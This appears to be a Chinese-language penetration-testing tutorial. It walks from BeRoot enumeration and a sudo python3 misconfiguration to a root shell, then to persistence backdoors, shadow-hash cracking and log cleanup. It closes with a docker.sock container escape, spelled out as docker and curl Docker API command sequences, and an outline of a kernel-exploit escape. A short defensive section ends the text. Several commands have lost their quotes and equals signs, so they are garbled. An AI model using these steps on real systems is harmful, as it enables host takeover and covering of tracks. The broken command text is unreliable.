限提升到容器逃逸:BeRoot工具實(shí)戰(zhàn)與安全攻防解析)
1. 項(xiàng)目概述從權(quán)限提升到容器逃逸的完整路徑在Linux安全評(píng)估和滲透測(cè)試領(lǐng)域權(quán)限提升Privilege Escalation是核心目標(biāo)之一。我們經(jīng)常遇到一個(gè)場(chǎng)景通過(guò)某種方式比如一個(gè)Web漏洞獲取了一個(gè)低權(quán)限的Shell但目標(biāo)系統(tǒng)上可能沒(méi)有現(xiàn)成的、公開(kāi)的提權(quán)漏洞利用程序Exploit。這時(shí)自動(dòng)化信息收集和權(quán)限提升工具就顯得至關(guān)重要。BeRoot就是這樣一款經(jīng)典工具它通過(guò)枚舉系統(tǒng)配置、檢查文件權(quán)限、分析運(yùn)行進(jìn)程等方式自動(dòng)化地尋找潛在的提權(quán)路徑。然而B(niǎo)eRoot的價(jià)值遠(yuǎn)不止于在一個(gè)孤立的系統(tǒng)上獲取一個(gè)root權(quán)限的Shell。它的真正威力在于為我們提供了一張清晰的“地圖”指引我們從系統(tǒng)配置的薄弱點(diǎn)出發(fā)最終可能實(shí)現(xiàn)更高級(jí)別的攻擊目標(biāo)——例如從一個(gè)受限的Docker容器中逃逸到宿主機(jī)。這個(gè)項(xiàng)目標(biāo)題“BeRoot在Linux系統(tǒng)中的完整應(yīng)用從sudoers文件到Docker逃逸”精準(zhǔn)地勾勒出了一條從微觀(guān)到宏觀(guān)的攻擊鏈。它不僅僅是關(guān)于運(yùn)行一個(gè)工具而是關(guān)于如何將工具的輸出轉(zhuǎn)化為攻擊者的“眼睛”和“手腳”。sudoers文件的錯(cuò)誤配置可能只是一個(gè)起點(diǎn)通過(guò)BeRoot的枚舉我們可能會(huì)發(fā)現(xiàn)容器內(nèi)掛載了宿主機(jī)的敏感目錄、存在危險(xiǎn)的Capabilities能力配置或者容器服務(wù)本身以高權(quán)限運(yùn)行。這些線(xiàn)索結(jié)合對(duì)Linux內(nèi)核、容器隔離機(jī)制Namespace, Cgroups的深入理解最終可能導(dǎo)向容器逃逸。本文將從一個(gè)資深安全研究員的視角拆解這條攻擊鏈上的每一個(gè)環(huán)節(jié)分享如何將BeRoot從一個(gè)簡(jiǎn)單的枚舉腳本用成一套完整的權(quán)限突破與橫向移動(dòng)的戰(zhàn)術(shù)手冊(cè)。無(wú)論你是負(fù)責(zé)紅隊(duì)演練的安全工程師還是負(fù)責(zé)加固容器環(huán)境的DevOps或安全運(yùn)維理解這條路徑都至關(guān)重要。2. BeRoot工具的核心原理與深度使用BeRoot本身并不是一個(gè)利用漏洞的程序它不執(zhí)行任何注入或溢出。它的核心是一個(gè)“偵察兵”和“分析師”。其工作原理基于一個(gè)簡(jiǎn)單卻強(qiáng)大的前提在復(fù)雜的Linux系統(tǒng)中提權(quán)往往不是靠一個(gè)“銀彈”漏洞而是多個(gè)配置疏忽疊加的結(jié)果。BeRoot系統(tǒng)地檢查這些常見(jiàn)的疏忽點(diǎn)。2.1 BeRoot的檢查維度與背后邏輯一個(gè)典型的BeRoot檢查會(huì)覆蓋以下方面每一方面都對(duì)應(yīng)著一種或多種經(jīng)典的提權(quán)技術(shù)文件與目錄權(quán)限檢查這是最經(jīng)典的提權(quán)向量。BeRoot會(huì)尋找全局可寫(xiě)World-writable的敏感目錄如/etc/cron.d,/etc/passwd的父目錄、SUID/SGID文件以及配置文件如/etc/shadow的錯(cuò)誤權(quán)限。其背后的邏輯是如果攻擊者能向/etc/cron.d寫(xiě)入一個(gè)任務(wù)或者修改/etc/passwd就能直接獲得root權(quán)限。對(duì)于SUID文件如果該文件本身存在漏洞如緩沖區(qū)溢出或者能被劫持如通過(guò)LD_PRELOAD就可能提權(quán)。sudoers配置與sudo漏洞/etc/sudoers文件定義了哪些用戶(hù)能以何種權(quán)限執(zhí)行哪些命令。BeRoot會(huì)檢查當(dāng)前用戶(hù)是否被允許以root身份運(yùn)行特定命令特別是那些可能用于逃逸的命令如sudo vi,sudo find,sudo perl等。更關(guān)鍵的是它會(huì)檢查是否存在sudo版本本身的已知漏洞CVE。例如古老的CVE-2019-14287漏洞允許在特定配置下以任意用戶(hù)ID執(zhí)行命令。BeRoot通過(guò)比對(duì)sudo版本和漏洞數(shù)據(jù)庫(kù)快速給出潛在風(fēng)險(xiǎn)提示。進(jìn)程與服務(wù)枚舉檢查所有以root身份運(yùn)行的進(jìn)程特別是那些由當(dāng)前用戶(hù)或低權(quán)限用戶(hù)啟動(dòng)的。如果一個(gè)由root啟動(dòng)的服務(wù)如Web服務(wù)器、數(shù)據(jù)庫(kù)存在漏洞攻擊者可能通過(guò)該服務(wù)獲取一個(gè)root權(quán)限的Shell。此外檢查/etc/init.d/或systemd服務(wù)單元看是否有配置錯(cuò)誤導(dǎo)致服務(wù)以過(guò)高權(quán)限運(yùn)行。環(huán)境變量與路徑劫持檢查$PATH環(huán)境變量的設(shè)置。如果root用戶(hù)的$PATH包含了當(dāng)前用戶(hù)可寫(xiě)的目錄并且root執(zhí)行了未使用絕對(duì)路徑的命令就可能被劫持。BeRoot也會(huì)檢查諸如LD_PRELOAD,LD_LIBRARY_PATH等環(huán)境變量是否在sudo時(shí)被保留這可能導(dǎo)致庫(kù)注入。內(nèi)核模塊與驅(qū)動(dòng)列出已加載的內(nèi)核模塊。一個(gè)有漏洞的內(nèi)核模塊是提權(quán)的絕佳跳板。BeRoot雖然不深入分析模塊代碼但列出它們可以提示攻擊者去搜索對(duì)應(yīng)模塊的公開(kāi)漏洞。容器與虛擬化環(huán)境檢測(cè)這是連接“提權(quán)”與“逃逸”的關(guān)鍵橋梁。BeRoot會(huì)檢查是否運(yùn)行在容器內(nèi)通過(guò)檢查/.dockerenv文件、/proc/1/cgroup內(nèi)容等。如果在容器內(nèi)它會(huì)額外檢查掛載點(diǎn)是否有宿主機(jī)目錄如/,/var/run/docker.sock被掛載到容器內(nèi)。掛載docker.sock是容器逃逸的“黃金門(mén)票”。Capabilities容器使用了哪些Linux Capabilities如CAP_SYS_ADMIN,CAP_DAC_READ_SEARCH。過(guò)高的Capabilities會(huì)嚴(yán)重削弱容器隔離性。AppArmor/SELinux配置文件是否配置了寬松或禁用的安全策略。注意BeRoot的輸出是“線(xiàn)索”而非“答案”。它告訴你“這里有個(gè)門(mén)可能沒(méi)鎖”但你需要自己判斷這扇門(mén)通向哪里以及如何打開(kāi)它。高明的攻擊者需要結(jié)合這些線(xiàn)索構(gòu)建攻擊鏈。2.2 實(shí)戰(zhàn)中的BeRoot超越默認(rèn)掃描默認(rèn)的BeRoot掃描已經(jīng)很強(qiáng)大了但在實(shí)戰(zhàn)中我們往往需要更定制化、更深入。結(jié)合手動(dòng)枚舉BeRoot是一個(gè)很好的起點(diǎn)但不能完全依賴(lài)它。手動(dòng)檢查/proc文件系統(tǒng)如/proc/net/tcp查看網(wǎng)絡(luò)連接、ps auxf查看進(jìn)程樹(shù)、netstat -tulpn查看網(wǎng)絡(luò)服務(wù)能發(fā)現(xiàn)BeRoot可能遺漏的細(xì)節(jié)。例如一個(gè)隱藏在非標(biāo)準(zhǔn)端口的redis服務(wù)可能沒(méi)有配置認(rèn)證。關(guān)注“新”向量隨著云原生和容器化普及新的提權(quán)向量不斷出現(xiàn)。例如檢查Kubernetes的Service Account令牌/var/run/secrets/kubernetes.io/serviceaccount、etcd配置、云服務(wù)元數(shù)據(jù)端點(diǎn)如AWS的169.254.169.254。成熟的攻擊者會(huì)編寫(xiě)自定義腳本或模塊來(lái)擴(kuò)展BeRoot的功能。輸出結(jié)果的分析框架不要被BeRoot輸出的海量信息淹沒(méi)。建立一個(gè)分析優(yōu)先級(jí)直接利用型如可寫(xiě)的/etc/passwd、可利用的SUID文件、特定的sudo命令sudo su。間接利用型如可寫(xiě)的服務(wù)腳本、不安全的cron任務(wù)、掛載的宿主機(jī)目錄。信息收集型如內(nèi)核版本、運(yùn)行的服務(wù)版本用于后續(xù)搜索公開(kāi)漏洞。我個(gè)人的習(xí)慣是在獲取BeRoot輸出后立即用grep過(guò)濾出“Writable”、“SUID”、“sudo”、“mount”、“capabilities”等關(guān)鍵詞快速定位高危項(xiàng)。同時(shí)將內(nèi)核版本、docker版本等信息單獨(dú)記錄下來(lái)用于離線(xiàn)漏洞研究。3. 從sudoers漏洞到立足點(diǎn)鞏固假設(shè)BeRoot報(bào)告了一個(gè)關(guān)鍵的發(fā)現(xiàn)當(dāng)前用戶(hù)可以通過(guò)sudo以root身份無(wú)密碼運(yùn)行/usr/bin/python3。這是一個(gè)非常典型且危險(xiǎn)的配置失誤。3.1 利用sudoers配置錯(cuò)誤/etc/sudoers中可能有一行這樣的配置lowprivuser ALL(ALL) NOPASSWD: /usr/bin/python3這意味著用戶(hù)lowprivuser可以在任何主機(jī)上以任何用戶(hù)包括root的身份無(wú)需密碼運(yùn)行python3。利用方法直接而有效sudo python3 -c import os; os.setuid(0); os.system(/bin/bash)或者生成一個(gè)具有SUID位的/bin/bash副本sudo python3 -c import os; os.system(cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash)然后執(zhí)行/tmp/rootbash -p即可獲得一個(gè)rootshell。實(shí)操心得在利用這類(lèi)sudo權(quán)限時(shí)要特別注意目標(biāo)系統(tǒng)的環(huán)境。如果python3被AppArmor或SELinux嚴(yán)格限制上述命令可能會(huì)失敗。此時(shí)可以嘗試用python3讀寫(xiě)敏感文件如/etc/shadow或啟動(dòng)一個(gè)反向Shell到你的控制端方式更靈活。3.2 鞏固立足點(diǎn)與信息深度收集獲得root權(quán)限后第一件事不是歡呼而是鞏固立足點(diǎn)并進(jìn)行更深度的信息收集為可能的橫向移動(dòng)或逃逸做準(zhǔn)備。添加持久化后門(mén)在/etc/passwd中添加一個(gè)UID為0的用戶(hù)或者創(chuàng)建一個(gè)新的SSH密鑰對(duì)將公鑰寫(xiě)入root用戶(hù)的.ssh/authorized_keys。對(duì)于容器環(huán)境后門(mén)可能更隱蔽比如修改入口點(diǎn)腳本。抓取密碼哈希復(fù)制/etc/shadow文件嘗試用john或hashcat離線(xiàn)破解。即使無(wú)法破解這些哈希也可能在其他系統(tǒng)上復(fù)用密碼重用。全面進(jìn)程與網(wǎng)絡(luò)分析以root身份運(yùn)行ps auxef或systemctl list-units查看所有系統(tǒng)服務(wù)。運(yùn)行netstat -tulpn或ss -tulpn查看所有監(jiān)聽(tīng)端口特別注意那些只監(jiān)聽(tīng)在127.0.0.1或特定網(wǎng)卡上的服務(wù)。關(guān)鍵配置文件收集收集/etc/下的所有配置文件特別是網(wǎng)絡(luò)、服務(wù)、計(jì)劃任務(wù)相關(guān)的。備份整個(gè)/home目錄和Web目錄。容器環(huán)境深度探測(cè)這是通向“逃逸”的關(guān)鍵一步。執(zhí)行以下命令# 確認(rèn)是否在容器內(nèi) cat /proc/1/cgroup | grep -i docker ls -la /.dockerenv 2/dev/null # 檢查Docker相關(guān)文件 find / -name docker.sock 2/dev/null find / -name .docker 2/dev/null # 檢查掛載點(diǎn)尋找宿主機(jī)文件系統(tǒng) mount | grep -v tmpfs\|proc\|sysfs\|devpts\|cgroup cat /proc/mounts | grep -v tmpfs\|proc\|sysfs\|devpts\|cgroup # 檢查Capabilities cat /proc/1/status | grep Cap # 或者使用capsh工具如果存在 capsh --print # 檢查內(nèi)核版本和模塊 uname -a lsmod假設(shè)在容器內(nèi)你發(fā)現(xiàn)了一個(gè)至關(guān)重要的信息/var/run/docker.sock被掛載到了容器內(nèi)的/tmp/docker.sock。這個(gè)發(fā)現(xiàn)將整個(gè)攻擊提升到了一個(gè)新的層面。4. 利用Docker Socket掛載實(shí)現(xiàn)容器逃逸/var/run/docker.sock是Docker守護(hù)進(jìn)程Docker Daemon的Unix套接字文件。與這個(gè)套接字通信就等于直接向Docker守護(hù)進(jìn)程發(fā)送指令。默認(rèn)情況下該套接字由root用戶(hù)和docker組所有。如果容器內(nèi)掛載了此套接字并且容器內(nèi)的進(jìn)程有權(quán)限讀寫(xiě)它通常需要root或加入docker組那么就能從容器內(nèi)部控制宿主機(jī)上的整個(gè)Docker引擎。4.1 逃逸原理與步驟當(dāng)你在容器內(nèi)發(fā)現(xiàn)可用的docker.sock時(shí)逃逸過(guò)程變得異常簡(jiǎn)單安裝Docker客戶(hù)端容器內(nèi)可能沒(méi)有docker命令。需要安裝Docker客戶(hù)端或者更簡(jiǎn)單使用任何能發(fā)起HTTP請(qǐng)求的工具如curl、python、wget因?yàn)镈ocker API本質(zhì)上是一個(gè)RESTful接口。與Docker守護(hù)進(jìn)程通信通過(guò)掛載的套接字文件向Docker守護(hù)進(jìn)程發(fā)送指令。創(chuàng)建并運(yùn)行一個(gè)新容器關(guān)鍵的一步是創(chuàng)建一個(gè)新的容器并將宿主機(jī)的根文件系統(tǒng)/掛載到這個(gè)新容器內(nèi)。在新容器內(nèi)執(zhí)行命令在新容器內(nèi)執(zhí)行命令由于掛載了宿主機(jī)根目錄這些命令實(shí)際上是在宿主機(jī)上執(zhí)行的。以下是使用幾種不同方法的實(shí)操命令方法一使用docker命令行客戶(hù)端如果已安裝或可安裝# 假設(shè)docker.sock掛載在/tmp/docker.sock export DOCKER_HOSTunix:///tmp/docker.sock # 1. 列出宿主機(jī)上的所有容器和鏡像確認(rèn)連接成功 docker ps -a docker images # 2. 運(yùn)行一個(gè)特權(quán)容器掛載宿主機(jī)根目錄到容器的/host目錄 docker run -it --rm --privileged -v /:/host alpine:latest /bin/sh # 進(jìn)入新容器的Shell后你現(xiàn)在就擁有了宿主機(jī)的文件系統(tǒng)視圖 # chroot /host # 可以切換到宿主機(jī)的根環(huán)境 # 現(xiàn)在你可以在/host目錄下執(zhí)行任何命令例如修改/host/etc/passwd或者添加一個(gè)SSH密鑰到/host/root/.ssh/authorized_keys方法二直接使用curl調(diào)用Docker API無(wú)需安裝Docker客戶(hù)端這是更通用、更隱蔽的方法。# 1. 首先通過(guò)API查看Docker信息確認(rèn)套接字可用 curl --unix-socket /tmp/docker.sock http://localhost/info # 2. 創(chuàng)建一個(gè)新容器配置掛載宿主機(jī)根目錄。需要構(gòu)造一個(gè)JSON請(qǐng)求。 # 先獲取一個(gè)鏡像的ID比如alpine ALPINE_IMAGE_ID$(curl -s --unix-socket /tmp/docker.sock http://localhost/images/json | grep -o Id:[^]* | head -1 | cut -d -f4) # 3. 創(chuàng)建容器配置。注意這里使用HostConfig的Binds字段掛載/到/host。 # 同時(shí)我們請(qǐng)求一個(gè)特權(quán)容器Privileged: true并分配一個(gè)TTYTty: true。 CREATE_CONTAINER_JSON$(cat EOF { Image: $ALPINE_IMAGE_ID, Cmd: [/bin/sh], HostConfig: { Binds: [/:/host], Privileged: true }, Tty: true, OpenStdin: true } EOF ) CONTAINER_ID$(curl -s -X POST --unix-socket /tmp/docker.sock \ -H Content-Type: application/json \ -d $CREATE_CONTAINER_JSON \ http://localhost/containers/create | grep -o Id:[^]* | cut -d -f4) echo 創(chuàng)建的容器ID: $CONTAINER_ID # 4. 啟動(dòng)這個(gè)容器 curl -s -X POST --unix-socket /tmp/docker.sock http://localhost/containers/$CONTAINER_ID/start # 5. 附加到容器的標(biāo)準(zhǔn)輸入輸出獲得一個(gè)Shell。這里使用socat或nc來(lái)建立雙向通信更穩(wěn)定但用curl執(zhí)行命令也是可以的。 # 例如執(zhí)行一個(gè)命令并獲取輸出 EXEC_JSON{AttachStdin: false, AttachStdout: true, AttachStderr: true, Tty: false, Cmd: [ls, -la, /host]} EXEC_ID$(curl -s -X POST --unix-socket /tmp/docker.sock \ -H Content-Type: application/json \ -d $EXEC_JSON \ http://localhost/containers/$CONTAINER_ID/exec | grep -o Id:[^]* | cut -d -f4) curl -s -X POST --unix-socket /tmp/docker.sock \ -H Content-Type: application/json \ -d {Detach: false, Tty: false} \ http://localhost/exec/$EXEC_ID/start通過(guò)這種方式你可以在新容器內(nèi)執(zhí)行任意命令操作宿主機(jī)文件系統(tǒng)。重要提示通過(guò)API創(chuàng)建和操作容器雖然強(qiáng)大但步驟稍顯繁瑣。在實(shí)戰(zhàn)中如果條件允許我會(huì)優(yōu)先嘗試在容器內(nèi)安裝docker客戶(hù)端例如從宿主機(jī)拷貝或使用靜態(tài)編譯的二進(jìn)制文件這樣操作起來(lái)更直觀(guān)高效。4.2 逃逸后的行動(dòng)成功逃逸到宿主機(jī)后你的行動(dòng)就完全取決于目標(biāo)了。你可能需要權(quán)限維持在宿主機(jī)上植入后門(mén)SSH密鑰、Webshell、定時(shí)任務(wù)等。橫向移動(dòng)掃描宿主機(jī)所在網(wǎng)段的其他機(jī)器。痕跡清理清理容器和宿主機(jī)上的日志如/var/log/下的相關(guān)記錄、Docker容器日志docker logs container_id。信息收集收集宿主機(jī)上的敏感信息如/etc/passwd,/etc/shadow, 歷史命令history, SSH密鑰等。5. 內(nèi)核漏洞與高級(jí)逃逸技術(shù)通過(guò)docker.sock掛載逃逸屬于“配置不當(dāng)”導(dǎo)致的逃逸相對(duì)容易。但在配置良好的環(huán)境中這條路徑可能被堵死。此時(shí)如果我們?cè)谌萜鲀?nèi)獲得了root權(quán)限例如通過(guò)BeRoot發(fā)現(xiàn)的SUID漏洞并且宿主機(jī)內(nèi)核存在漏洞我們就可以嘗試?yán)脙?nèi)核漏洞進(jìn)行“硬逃逸”。這正是你提供的參考材料中詳細(xì)描述的場(chǎng)景。5.1 內(nèi)核漏洞逃逸的核心挑戰(zhàn)容器如Docker使用Linux內(nèi)核的Namespace和Cgroups實(shí)現(xiàn)隔離。但關(guān)鍵點(diǎn)在于所有容器共享宿主機(jī)的內(nèi)核。因此一個(gè)能導(dǎo)致權(quán)限提升從普通用戶(hù)到root的內(nèi)核漏洞在容器內(nèi)被觸發(fā)后獲得的“root”權(quán)限最初仍然被限制在容器的Namespace中。這是因?yàn)檫M(jìn)程的“視野”看到的文件系統(tǒng)、進(jìn)程樹(shù)、網(wǎng)絡(luò)等和“能力”受到Namespace和Cgroups的限制。所以?xún)?nèi)核漏洞逃逸通常需要兩個(gè)步驟利用內(nèi)核漏洞提升權(quán)限在容器內(nèi)獲得內(nèi)核態(tài)的代碼執(zhí)行能力將當(dāng)前進(jìn)程的憑證credential改為root。突破Namespace隔離修改當(dāng)前進(jìn)程的Namespace相關(guān)數(shù)據(jù)結(jié)構(gòu)主要是task_struct中的fs_struct和nsproxy使其指向宿主機(jī)的初始Namespace通常是init進(jìn)程的Namespace從而“看到”并“接觸”到宿主機(jī)環(huán)境。5.2 基于CVE-2017-11176的逃逸思路分析你提供的參考文章詳細(xì)分析了利用CVE-2017-11176一個(gè)mq_notify中的use-after-free漏洞進(jìn)行逃逸的過(guò)程。這里我提煉其技術(shù)精髓和實(shí)操中的關(guān)鍵點(diǎn)漏洞利用與提權(quán)首先需要有一個(gè)能在目標(biāo)內(nèi)核版本上穩(wěn)定工作的漏洞利用程序Exploit。這個(gè)Exploit能在容器內(nèi)觸發(fā)漏洞執(zhí)行任意內(nèi)核代碼并調(diào)用commit_creds(prepare_kernel_cred(0))將當(dāng)前進(jìn)程的權(quán)限提升為root。這一步只是獲得了容器內(nèi)的root。替換fs_struct進(jìn)程的根目錄和當(dāng)前工作目錄信息保存在task_struct-fs指向一個(gè)fs_struct結(jié)構(gòu)中。為了“看到”宿主機(jī)的文件系統(tǒng)Exploit需要找到宿主機(jī)上init進(jìn)程PID 1的task_struct并將其fs_struct復(fù)制到當(dāng)前進(jìn)程。文章中的代碼通過(guò)遍歷task_struct-real_parent鏈表回溯到PID 1的進(jìn)程。完成復(fù)制后進(jìn)程的根目錄就變成了宿主機(jī)的根目錄可以訪(fǎng)問(wèn)宿主機(jī)文件了。替換nsproxy僅替換文件系統(tǒng)視圖還不夠進(jìn)程仍然被困在容器的其他Namespace如PID, Network, IPC等中。這意味著你無(wú)法看到宿主機(jī)上的其他進(jìn)程在容器內(nèi)/proc下看到的PID是獨(dú)立的也無(wú)法與宿主機(jī)的網(wǎng)絡(luò)棧交互。因此需要將當(dāng)前進(jìn)程的task_struct-nsproxy替換為宿主機(jī)的初始nsproxy即init_nsproxy。文章嘗試了兩種方法一種是先切換PID 1進(jìn)程的namespace再讓當(dāng)前進(jìn)程通過(guò)setns加入另一種是直接替換當(dāng)前進(jìn)程的nsproxy指針。后者被證明是有效的。最終的障礙與解決即使完成了上述步驟有時(shí)可能仍無(wú)法彈出一個(gè)穩(wěn)定的rootshell。這可能與進(jìn)程的會(huì)話(huà)session、控制終端tty或信號(hào)處理有關(guān)。在實(shí)戰(zhàn)中更可靠的做法不是在Exploit內(nèi)部直接調(diào)用execve彈shell而是讓Exploit在宿主機(jī)文件系統(tǒng)中寫(xiě)入一個(gè)后門(mén)程序比如一個(gè)SUID的/bin/bash或者向宿主機(jī)cron添加一個(gè)任務(wù)然后退出。之后通過(guò)原有的容器入口點(diǎn)或新觸發(fā)的任務(wù)獲得一個(gè)完全在宿主機(jī)Namespace下的高權(quán)限shell。5.3 內(nèi)核漏洞逃逸的實(shí)操考量對(duì)于安全研究人員或紅隊(duì)成員在內(nèi)網(wǎng)遇到一個(gè)可能易受攻擊的容器時(shí)需要考慮信息收集精確獲取宿主機(jī)內(nèi)核版本uname -r、發(fā)行版信息。容器內(nèi)的內(nèi)核版本與宿主機(jī)一致。漏洞匹配根據(jù)內(nèi)核版本尋找公開(kāi)的、可用的本地提權(quán)LPE漏洞。需要關(guān)注漏洞是否被修復(fù)、是否有公開(kāi)的Exploit、Exploit是否需要調(diào)整如偏移量。環(huán)境適配公開(kāi)的Exploit往往針對(duì)特定內(nèi)核版本和發(fā)行版編譯。在容器內(nèi)編譯Exploit可能需要安裝gcc和內(nèi)核頭文件linux-headers這可能會(huì)觸發(fā)告警??梢試L試交叉編譯或使用Go/Python等語(yǔ)言編寫(xiě)的、不依賴(lài)特定頭文件的Exploit。穩(wěn)定性與隱蔽性?xún)?nèi)核Exploit可能導(dǎo)致系統(tǒng)崩潰Kernel Panic產(chǎn)生巨大動(dòng)靜。在實(shí)戰(zhàn)中需權(quán)衡風(fēng)險(xiǎn)。此外利用過(guò)程會(huì)在系統(tǒng)日志dmesg,/var/log/kern.log中留下痕跡。逃逸后的動(dòng)作一旦逃逸成功應(yīng)立即進(jìn)行持久化操作因?yàn)镋xploit造成的系統(tǒng)不穩(wěn)定或管理員檢查容器狀態(tài)都可能暴露行蹤。6. 其他容器逃逸路徑與BeRoot的關(guān)聯(lián)除了docker.sock掛載和內(nèi)核漏洞BeRoot還能幫助我們發(fā)現(xiàn)其他逃逸路徑危險(xiǎn)的Capabilities如果BeRoot顯示容器擁有CAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_DAC_READ_SEARCH等危險(xiǎn)能力逃逸可能性大增。CAP_SYS_ADMIN近似于root可以執(zhí)行大量特權(quán)操作如掛載文件系統(tǒng)、調(diào)用syscall。結(jié)合ptrace或unshare等命令可能實(shí)現(xiàn)逃逸。CAP_SYS_PTRACE可以調(diào)試其他進(jìn)程。如果容器內(nèi)有一個(gè)root權(quán)限的進(jìn)程可以ptrace它并注入代碼。CAP_DAC_READ_SEARCH可以繞過(guò)文件讀權(quán)限和目錄搜索權(quán)限檢查??梢杂脕?lái)讀取宿主機(jī)上的敏感文件。特權(quán)模式--privileged如果容器以--privileged模式運(yùn)行它幾乎擁有宿主機(jī)root的所有能力逃逸變得非常簡(jiǎn)單例如直接掛載宿主機(jī)磁盤(pán)。掛載敏感路徑除了docker.sockBeRoot發(fā)現(xiàn)的任何宿主機(jī)路徑掛載如/proc,/sys,/dev都需要仔細(xì)審查。掛載/proc且配置不當(dāng)可能導(dǎo)致通過(guò)/proc/sys/kernel/core_pattern等路徑逃逸。服務(wù)漏洞容器內(nèi)運(yùn)行的root權(quán)限服務(wù)如SSH, MySQL, Redis如果存在遠(yuǎn)程代碼執(zhí)行漏洞攻擊者可以利用它獲得一個(gè)rootshell然后從內(nèi)部尋找逃逸方法。7. 防御視角如何阻斷這條攻擊鏈理解了攻擊路徑防御就更有針對(duì)性。作為防御方你應(yīng)該最小權(quán)限原則容器絕不使用--privileged模式。使用--cap-dropALL移除所有Capabilities然后按需添加--cap-add。避免掛載docker.sock。如必須掛載確保容器內(nèi)用戶(hù)無(wú)讀寫(xiě)權(quán)限。宿主機(jī)嚴(yán)格配置sudoers遵循最小授權(quán)。定期使用類(lèi)似BeRoot的工具進(jìn)行自查。定期更新與掃描保持內(nèi)核、Docker版本、容器鏡像及時(shí)更新修復(fù)已知漏洞。使用容器安全掃描工具如Trivy, Clair, Grype掃描鏡像中的漏洞。在宿主機(jī)和容器內(nèi)運(yùn)行主機(jī)入侵檢測(cè)系統(tǒng)HIDS監(jiān)控異常文件變化、進(jìn)程行為和新監(jiān)聽(tīng)端口。強(qiáng)化配置為Docker守護(hù)進(jìn)程啟用用戶(hù)命名空間映射--userns-remap增加隔離性。使用Seccomp、AppArmor或SELinux為容器配置嚴(yán)格的安全策略??紤]使用rootless模式運(yùn)行Docker。網(wǎng)絡(luò)與監(jiān)控對(duì)容器網(wǎng)絡(luò)進(jìn)行微隔離限制不必要的容器間及容器與宿主機(jī)間的通信。集中收集和分析容器及宿主機(jī)日志使用SIEM或安全分析平臺(tái)建立異常行為檢測(cè)規(guī)則。從sudoers文件的一個(gè)配置失誤到利用BeRoot發(fā)現(xiàn)容器內(nèi)掛載的docker.sock最終實(shí)現(xiàn)容器逃逸并控制宿主機(jī)這條攻擊鏈清晰地展示了現(xiàn)代系統(tǒng)安全中“牽一發(fā)而動(dòng)全身”的特性。安全是一個(gè)整體任何一個(gè)環(huán)節(jié)的疏忽都可能成為整個(gè)防線(xiàn)崩潰的起點(diǎn)。對(duì)于攻擊者BeRoot是打開(kāi)局面的鑰匙對(duì)于防御者理解BeRoot所檢查的每一項(xiàng)就是加固自己陣地的藍(lán)圖。真正的安全始于對(duì)攻擊者思維的深刻理解。